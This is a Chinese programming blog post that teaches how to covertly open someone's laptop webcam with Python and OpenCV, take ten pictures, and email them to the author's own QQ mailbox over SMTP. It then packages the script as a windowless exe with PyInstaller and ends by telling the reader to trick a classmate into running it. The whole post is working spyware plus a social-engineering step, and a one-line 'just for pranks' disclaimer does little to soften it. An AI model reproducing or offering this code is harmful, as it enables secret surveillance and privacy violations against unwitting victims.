1. 程式人生 > 程式設計 >用python開啟攝像頭並把影象傳回qq郵箱(Pyinstaller打包)

用python開啟攝像頭並把影象傳回qq郵箱(Pyinstaller打包)

前言:

如何悄悄的開啟朋友的攝像頭,看看她最近過的怎麼樣,嘿嘿!這次讓我帶你們來實現這個功能。

注: 這個程式僅限在朋友之間開玩笑,別去搞什麼違法的事情哦。

程式碼

傳送郵件

使用python內建的email模組即可完成。匯入相應的程式碼封裝為一個send函式,順便匯入需要匯入的包
注: 下面的程式碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權碼,不知道qq郵箱授權碼的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '寫你的qq郵箱地址'
  receivers = '寫你的qq郵箱地址'
  message = MIMEMultipart('related')
  subject = '終於能發圖片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
  message.attach(content)
  file = open(img,"rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID','imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com",465)
    server.login(sender,'寫授權碼')
    server.sendmail(sender,receivers,message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

開啟攝像頭併發送圖片

我們使用opencv開啟筆記本內建的攝像頭,不多說上程式碼

cap = cv2.VideoCapture(0)
for item in range(10):
  cat,frame = cap.read()
  cv2.imwrite('1.png',frame)
  send('1.png')
  os.remove('1.png')


使用pyinstaller將程式打包

好不容易寫好了程式碼,結果同學那裡沒有執行環境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個exe檔案,照片還不是手到擒來。

我們使用pyinstaller來打包,沒有下載的可以先pip安裝

pip install pyinstaller -i https://pypi.douban.com/simple --user

之後我們開啟cmd,cd到你的程式碼所在的檔案,輸入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的檔名。

然後等一會,等執行完了之後你就會發現在你的程式碼所在的資料夾裡多了一個dist的資料夾,exe檔案就在那裡。

下面就是最關鍵的一步了!

忽悠同學

找個同學忽悠她一下

用python開啟攝像頭並把影象傳回qq郵箱(Pyinstaller打包)

到此這篇關於用python開啟攝像頭並把影象傳回qq郵箱(Pyinstaller打包)的文章就介紹到這了,更多相關Python開啟攝像頭並儲存內容請搜尋我們以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援我們!